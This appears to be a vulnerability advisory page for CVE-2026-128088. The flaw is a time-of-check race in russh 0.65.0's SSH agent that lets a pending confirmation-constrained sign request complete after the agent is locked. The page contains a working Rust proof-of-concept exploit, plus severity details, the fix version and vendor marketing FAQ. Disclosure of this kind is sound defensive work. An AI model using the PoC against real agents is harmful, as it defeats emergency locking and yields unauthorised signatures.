Summary
russh try_sign: asynchronous confirmation can sign after agent lock
In russh 0.65.0, a sign request for a confirmation-constrained key can retain
and use the private key after another connection locks the agent. try_sign()
snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not
revalidate the shared lock state after the await. An agent-forwarding peer can
therefore obtain a signature while the agent is locked and every new request is
being rejected.
Details
The agent's lock and key stores are shared by all connections. respond() reads
the lock state once, then dispatches a sign request:
let is_locked = {
// ... read the shared lock ...
};
// ...
Some((&13, mut r))
if !is_locked && agentref.confirm_request(MessageType::Sign).await =>
{
let agent = self.agent.take().ok_or(Error::AgentFailure)?;
let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;
In try_sign(), russh clones the private key from the shared store and drops the
store lock before awaiting the asynchronous confirmation callback:
let key = {
let blob = Bytes::decode(r)?;
let k = self.keys.0.read().or(Err(Error::AgentFailure))?;
if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {
if constraints.contains(&Constraint::Confirm) {
needs_confirm = true;
}
key.clone()
} else {
return Ok((agent, false));
}
};
let agent = if needs_confirm {
let (agent, ok) = agent.confirm(key.clone()).await;
if !ok {
return Ok((agent, false));
}
agent
} else {
agent
};
// No lock/key-state revalidation occurs here.
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?
.encode(writebuf)?;
While confirm() is pending, a second agent connection can successfully lock
the shared agent. When confirmation later returns true, the original
connection signs with its captured Arc<PrivateKey>.
The affected code is inrussh/src/keys/agent/server.rs
andtry_sign().
RFC 9987 section 5.7 requires a locked agent to suspend private-key signature
operations until it is unlocked. A fresh request is correctly rejected while
locked; only the request suspended across the await bypasses the lock.
The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix
for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0
and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.
Expected behavior
After the agent reports a successful lock, no private-key signature operation
should complete until a successful unlock.
Actual behavior
A request that reached Agent::confirm() before the state transition signs
afterward. New requests made in the same locked or expired state fail, confirming
that the shared state transition took effect.
Proof of concept
The PoC is self-contained and uses in-memory duplex streams; it does not require
an SSH server, Unix socket, or attached binary file. With a current stable Rust
toolchain installed, create a new directory:
mkdir -p russh-agent-lock-toctou-poc/src
cd russh-agent-lock-toctou-poc
Create Cargo.toml:
[package]
name = "russh-agent-lock-toctou-poc"
version = "0.1.0"
edition = "2024"
[dependencies]
futures = "0.3"
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] }
tokio-stream = "0.1"
Create src/main.rs:
use std::{future::Future, sync::Arc};
use russh::keys::agent::{
Constraint,
client::AgentClient,
server::{self, Agent},
};
use russh::keys::{Algorithm, PrivateKey};
use tokio::{
io::DuplexStream,
sync::{Notify, mpsc},
};
use tokio_stream::wrappers::ReceiverStream;
#[derive(Clone)]
struct DelayedConfirm {
entered: Arc<Notify>,
release: Arc<Notify>,
}
impl Agent for DelayedConfirm {
fn confirm(
self,
_key: Arc<PrivateKey>,
) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {
Box::new(Box::pin(async move {
self.entered.notify_one();
self.release.notified().await;
(self, true)
}))
}
}
async fn connect(
sender: &mpsc::Sender<std::io::Result<DuplexStream>>,
) -> AgentClient<DuplexStream> {
let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);
sender.send(Ok(server_stream)).await.unwrap();
AgentClient::connect(client_stream)
}
#[tokio::main]
async fn main() {
let entered = Arc::new(Notify::new());
let release = Arc::new(Notify::new());
let agent = DelayedConfirm {
entered: entered.clone(),
release: release.clone(),
};
let (sender, receiver) = mpsc::channel(4);
tokio::spawn(async move {
server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)
.await
.unwrap();
});
let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();
let public_key = key.public_key().clone();
let mut administrator = connect(&sender).await;
administrator
.add_identity(&key, &[Constraint::Confirm])
.await
.unwrap();
let mut attacker = connect(&sender).await;
let attacker_key = public_key.clone();
let pending_sign = tokio::spawn(async move {
attacker
.sign_request_signature(&attacker_key, None, b"attacker-controlled request")
.await
});
entered.notified().await;
administrator.lock(b"lock-password").await.unwrap();
println!("agent locked while confirmation was pending");
// Control: a request started after the lock is rejected.
let mut control = connect(&sender).await;
let control_result = control
.sign_request_signature(&public_key, None, b"post-lock request")
.await;
println!("new post-lock request accepted: {}", control_result.is_ok());
// The original request signs after the lock has taken effect.
release.notify_one();
let pending_result = pending_sign.await.unwrap();
println!(
"pre-lock request signed after lock: {}",
pending_result.is_ok()
);
assert!(control_result.is_err());
assert!(pending_result.is_ok());
}
Run:
cargo run --quiet
Observed on russh 0.65.0 with Rust 1.91.0:
agent locked while confirmation was pending
new post-lock request accepted: false
pre-lock request signed after lock: true
Related
Impact
russh-based SSH agents that implement asynchronous confirmation are affected,
including agents exposed to remote SSH servers through agent forwarding. A peer
can begin a signature request while the agent is unlocked and hold it in the
confirmation phase. If the agent is subsequently locked, approving or otherwise
completing the stale confirmation still gives the peer a signature that the
agent's current state rejects for every new request.
This weakens emergency locking. The attacker does not recover private key
material, and exploitation requires a sign request to be pending across the
state transition and its confirmation callback eventually to return true.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-128088 has a CVSS score of 2.2 (Low). The vector is requires local access, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.65.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-128088? CVE-2026-128088 is a low-severity incorrect authorization vulnerability in russh (rust), affecting versions = 0.65.0. It is fixed in 0.65.1. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-128088? CVE-2026-128088 has a CVSS score of 2.2 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of russh are affected by CVE-2026-128088? russh (rust) versions = 0.65.0 is affected.
- Is there a fix for CVE-2026-128088? Yes. CVE-2026-128088 is fixed in 0.65.1. Upgrade to this version or later.
- Is CVE-2026-128088 exploitable, and should I be worried? Whether CVE-2026-128088 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-128088 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-128088? Upgrade
russhto 0.65.1 or later.